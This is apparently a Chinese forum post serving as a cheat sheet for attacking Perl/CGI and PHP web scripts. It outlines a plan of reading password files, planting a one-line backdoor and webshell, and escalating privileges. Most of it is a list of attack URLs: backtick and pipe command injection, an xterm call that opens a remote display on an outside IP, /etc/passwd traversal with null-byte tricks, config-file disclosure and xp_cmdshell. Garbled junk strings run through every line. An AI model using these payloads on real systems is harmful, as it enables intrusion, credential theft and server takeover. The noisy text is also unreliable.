总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 - t+ h* V1 M5 b* {9 l j
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ) Y! ]- [" P" E% [7 ^* {
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
7 F7 k$ J' B7 x3 Q9 ?) \注“ , i# K2 o9 k; U+ }) J% J1 u0 f4 \
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
9 U7 C% h2 J! [: n5 K1 f: N以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET - X' g e( p1 m
9 d2 A9 p! Q7 D( z! B* w: E5 o J* |. `http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
% S1 u; _* f; i. H, n8 f' Ohttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 7 [5 [) c% ]% n& S' Q6 t
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 * `2 W. n$ A* @ H! T! S% z
http://target.com/cgi-bin/home/news/sub.pl?`id`
- p4 C. y* {+ l/ S3 o# Uhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
' o% b+ P* w4 t5 Mhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 $ n; m9 @+ l6 @6 m- a( G2 B/ }
7 ^6 \! J1 e5 b
http://target.com/test.pl;ls| 6 p) x8 O. r* ?" A; o. U! F" Z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| : k# n& P. ^# T9 @' V
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
t% U! n8 q. }8 E) L1 Ghttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
5 n2 @0 g( l, o% ?3 d/ `比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 " L' x2 L3 @$ p0 C8 x* U8 l
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
! R1 n4 ~7 Q8 ]* h1 c, A# l0 z, O; E
http://target.com/test.pl?&........ /../../etc/passwd
8 C1 a2 x: Q2 h- q$ d7 s+ g' ^8 j4 i
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 7 u- G& N: d# V8 w1 L5 \
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 % \* r- T* O; v, b
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
7 @5 f% E% z& q; o7 [8 z ~' y9 S, x+ h3 B2 o# C
http://www.target.org/show.php?f ... /include/config.php 查看php代码
+ [& R. _' l7 D# E* E; E, Mhttp://www.target.org/show.php?f ... ng/admin/global.php
, }' c% `: i" [" c8 {! h- m) [0 k5 b0 b. D+ z4 p5 g5 s
emm和ps的一句话/ y3 z( G- h t% \8 }0 B
" }6 d2 d7 K* h+ K! _http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ! P9 ?" [$ R( I) c; w
& S9 \: t1 E) y1 B>bbb%20|
' t: q* f" \2 L! v. v! `# l r! d. j# W
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 5 Q, [: f0 v; f* G1 `1 s& O: P
0 w) d& Q( ^% [6 w) G
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
) u* n1 s! D* n v% Z3 }- z. J0 `http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
$ s9 m3 t- e, ]& X0 f$ m9 S+ c+ T4 ~$ {: X6 E
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 % u" E8 u+ r* ?+ X4 L7 d" H
http://target.com/index.html#cmd.exe
! N8 y; ~( d, C' a: dhttp://target.com/index.html?dummyparam=xp_cmdshell
( ]0 ]2 F8 [, c0 W+ J0 M3 |: M- blynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 7 W O& ~+ ?( T# U. L$ A
|